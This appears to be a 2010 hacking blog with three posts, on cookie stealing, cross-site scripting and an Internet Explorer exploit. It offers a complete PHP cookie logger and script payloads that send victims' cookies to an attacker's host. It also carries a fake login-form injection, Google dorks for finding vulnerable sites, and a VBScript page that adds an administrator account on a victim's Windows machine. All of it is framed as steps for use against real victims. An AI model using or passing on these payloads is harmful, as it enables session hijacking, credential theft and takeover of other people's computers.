Saturday, July 31, 2010

Cookie Stealing

What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

Proof of Concept:

The cookie logger:

The following is a cookie stealing script which is to be stored in attacker's host.It recieves the cookie data and stores to a text file.

<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?> 


Save the script as a cookielogger.php in your server.(Any free web hosting sites like justfree.com,x10hosting etc..)
Also create an empty text file and name it as log.txt and upload it.

Now we come to the hardest part where we have to inject a piece of javascript into sites html page,which the victims has to visit.We should now look for a place to post the javascript.

Look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

<script language="Javascript">
document.location="http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie; 
</script> 


Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

CODE
<a href="javascript:document.location= 'http://www.yourhost.com/cookielogger.php?cookie=' +document.cookie;"> Click here!</a>


Clicking an image also can activate the script.For this purpose you can use the below code.
CODE:
<a href="javascript:document.location=
'http://www.yourhost.com/cookielogger.php?cookie='
+document.cookie;">
<img src="URL OF THE IMAGE"/></a></center>


All the details like cookie,ipaddress,browser of the victim are logged in to log.txt in your host.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573/

Go to the target site-->open cookie editor-->Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account.

Tuesday, July 27, 2010

Cross Site Scripting (XSS)

Cross site scripting is an attack performed on the embedded scripts in a page that get executed on client-side but not on server side.it is the process of injecting Javascript and html for the purpose of stealing critical information like user credentials and important details of the person.The stolen information includes user's cookies and login information mainly.

A cookie is a variable that is used to store login credentials and to keep the user logged in.Whenever your cookies are cleared you can no longer stay logged in any site.On a php powered page the cookie looks like PHPSESSID.Whenever a webpage uses PHPSESSID to authenticate its users,the cookie can be stolen using cross site scripting attack.In this way the attacker can spoof using one cookie and hijack his session.

XSS can be considered as a dangerous exploit as most of the web pages are user interactive.For the purpose of interaction the webpage provides fields for comments,search and even feedback.90% percent of user interactive websites are vunerable to this type of attack though some percentage of sites have a high risk of exploitation.


For testing XSS you can inject the script like <h1>welcome</h1> or <script>alert(hello)</script> into search fields,comment fields and feedback forms.If you find the output of the page which looks like a large heading that reads welcome or an alertbox that say's hello
.


To give it a try ,click the link http://testasp.vulnweb.com/Search.asp


Insert the below codes:

code 1: <h1>XSSED</h1>

code 2: <script>alert("XSSED")</script>

code 3: <img src="URL OF THE IMAGE"></img>

code 4: <br><br>Login to proceed:<form action="destination.asp"><table><tr><td>Login:</td><td><input type=text length=10 name=login></td></tr><tr><td>Password:</td><td><input type=text length=10 name=password></td></tr></table><input type=submit value=LOGIN></form>

Where the destination.asp can be script that stores the data entered in the fields.

This code can be injected directly into the url as follows:
http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+
the+form+below+before+proceeding%3A%3C form+action%3D%22test.asp%22%3E%3C
table%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3D
text+ length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3C
td%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput +type%3Dtext+length%3D20
+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput
+type%3Dsubmit+value %3DLOGIN%3E%3C%2Fform%3E

code 5: <script>alert(document.cookie)</script>



To find the vunerable pages we can use some XSS dorks like "inurl:search.php?q="

inurl:com_feedpostold/feedpost.php?url=

inurl:scrapbook.php?id=

inurl:headersearch.php?sid=

inurl:/poll/default.asp?catid=

inurl:/search_results.php?search=

/preaspjobboard//Employee/emp_login.asp?msg1=

pages/match_report.php?mid= pages/match_report.php?mid=

Type any of the dorks into google and input the codes given.

One of the important concept to be discussed is cookie stealing.

For cookie stealing tutorial click here.

Wednesday, July 21, 2010

Remote Code Execution-Internet explorer

This is a remote user adding exploit.The code below adds a user:user123 with password:hacker and gives administrator privileges.

CODE
<html>
<title> Install Addon </title>

<p>
<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='exploit'></object>
<script language='vbscript'>
adduser="cmd /c net user user123 hacker /add && net localgroup Administrators user123 /add"
exploit.run adduser
</script>
</p>

</html>



Upload it to any free web hosting site and provide the link to the victim to execute it remotely.
This exploit is tested in Windows XP IE version 6 and 7.